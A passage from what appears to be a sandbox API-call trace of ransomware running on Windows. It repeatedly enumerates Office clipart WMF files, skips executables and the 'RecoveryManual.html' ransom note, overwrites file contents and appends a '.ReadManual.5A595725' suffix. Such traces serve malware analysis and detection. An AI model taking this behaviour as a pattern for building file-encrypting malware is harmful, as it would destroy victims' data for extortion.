(lpBaseAddress=0x2f0000) returned 1 [0266.805] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38747348147) returned 1 [0266.805] CloseHandle (hObject=0x184) returned 1 [0266.805] SetSecurityInfo () returned 0x57 [0266.805] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.805] CloseHandle (hObject=0x194) returned 1 [0266.805] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0266.805] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107718.WMF" | out: lpString1="J0107718.WMF") returned="J0107718.WMF" [0266.805] lstrcmpiW (lpString1="J0107718.WMF", lpString2="RecoveryManual.html") returned -1 [0266.805] StrStrIW (lpFirst="J0107718.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.805] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.805] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.806] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.806] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.806] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.806] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" [0266.806] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.ReadManual.5A595725" [0266.806] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF.ReadManual.5A595725") returned 87 [0266.806] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38747447900) returned 1 [0266.806] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf")) returned 0x20 [0266.806] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107718.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.806] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3800) returned 1 [0266.806] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xed8, lpName=0x0) returned 0x184 [0266.806] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.807] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.807] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.817] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.817] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xed8) returned 0x2f0000 [0266.817] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.817] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38748594506) returned 1 [0266.817] CloseHandle (hObject=0x184) returned 1 [0266.817] SetSecurityInfo () returned 0x57 [0266.817] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.817] CloseHandle (hObject=0x194) returned 1 [0266.818] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0266.818] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107722.WMF" | out: lpString1="J0107722.WMF") returned="J0107722.WMF" [0266.818] lstrcmpiW (lpString1="J0107722.WMF", lpString2="RecoveryManual.html") returned -1 [0266.818] StrStrIW (lpFirst="J0107722.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.818] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.818] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.818] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.818] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.818] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.818] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.818] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.818] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.819] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.819] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.819] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.819] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.819] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.819] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.819] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" [0266.819] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.ReadManual.5A595725" [0266.819] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.ReadManual.5A595725") returned 87 [0266.819] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38748759100) returned 1 [0266.819] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 0x20 [0266.819] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.819] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8260) returned 1 [0266.819] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2044, lpName=0x0) returned 0x184 [0266.819] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.820] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.820] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.822] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.822] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2044) returned 0x2f0000 [0266.822] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.822] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38749112973) returned 1 [0266.822] CloseHandle (hObject=0x184) returned 1 [0266.822] SetSecurityInfo () returned 0x57 [0266.823] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.823] CloseHandle (hObject=0x194) returned 1 [0266.823] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0266.823] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107724.WMF" | out: lpString1="J0107724.WMF") returned="J0107724.WMF" [0266.823] lstrcmpiW (lpString1="J0107724.WMF", lpString2="RecoveryManual.html") returned -1 [0266.823] StrStrIW (lpFirst="J0107724.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.823] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.823] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.823] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" [0266.823] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.ReadManual.5A595725" [0266.823] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF.ReadManual.5A595725") returned 87 [0266.823] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38749208309) returned 1 [0266.823] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf")) returned 0x20 [0266.824] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107724.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107724.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.824] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7016) returned 1 [0266.824] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b68, lpName=0x0) returned 0x184 [0266.824] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.825] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.825] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.826] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.826] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b68) returned 0x2f0000 [0266.826] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.827] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38749532924) returned 1 [0266.827] CloseHandle (hObject=0x184) returned 1 [0266.827] SetSecurityInfo () returned 0x57 [0266.827] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.827] CloseHandle (hObject=0x194) returned 1 [0266.827] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0266.827] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107728.WMF" | out: lpString1="J0107728.WMF") returned="J0107728.WMF" [0266.827] lstrcmpiW (lpString1="J0107728.WMF", lpString2="RecoveryManual.html") returned -1 [0266.827] StrStrIW (lpFirst="J0107728.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.827] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.827] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.827] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" [0266.827] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.ReadManual.5A595725" [0266.827] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.ReadManual.5A595725") returned 87 [0266.828] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38749630070) returned 1 [0266.828] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 0x20 [0266.828] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.828] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5492) returned 1 [0266.828] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1574, lpName=0x0) returned 0x184 [0266.828] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.829] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.829] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.831] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.831] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1574) returned 0x2f0000 [0266.831] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.831] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38749968658) returned 1 [0266.831] CloseHandle (hObject=0x184) returned 1 [0266.831] SetSecurityInfo () returned 0x57 [0266.831] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.831] CloseHandle (hObject=0x194) returned 1 [0266.831] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0266.831] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107730.WMF" | out: lpString1="J0107730.WMF") returned="J0107730.WMF" [0266.831] lstrcmpiW (lpString1="J0107730.WMF", lpString2="RecoveryManual.html") returned -1 [0266.831] StrStrIW (lpFirst="J0107730.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.831] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.831] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.831] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.831] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.831] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.832] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.832] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" [0266.832] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.ReadManual.5A595725" [0266.832] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.ReadManual.5A595725") returned 87 [0266.832] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38750064858) returned 1 [0266.832] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 0x20 [0266.833] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.833] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3060) returned 1 [0266.833] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf4, lpName=0x0) returned 0x184 [0266.833] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.834] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.834] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.836] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.836] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf4) returned 0x2f0000 [0266.836] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.836] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38750469104) returned 1 [0266.836] CloseHandle (hObject=0x184) returned 1 [0266.836] SetSecurityInfo () returned 0x57 [0266.836] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.836] CloseHandle (hObject=0x194) returned 1 [0266.836] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0266.836] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107734.WMF" | out: lpString1="J0107734.WMF") returned="J0107734.WMF" [0266.836] lstrcmpiW (lpString1="J0107734.WMF", lpString2="RecoveryManual.html") returned -1 [0266.836] StrStrIW (lpFirst="J0107734.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.836] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.836] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.836] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.836] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.836] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.837] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.837] StrCmpIW (psz1="WMF", 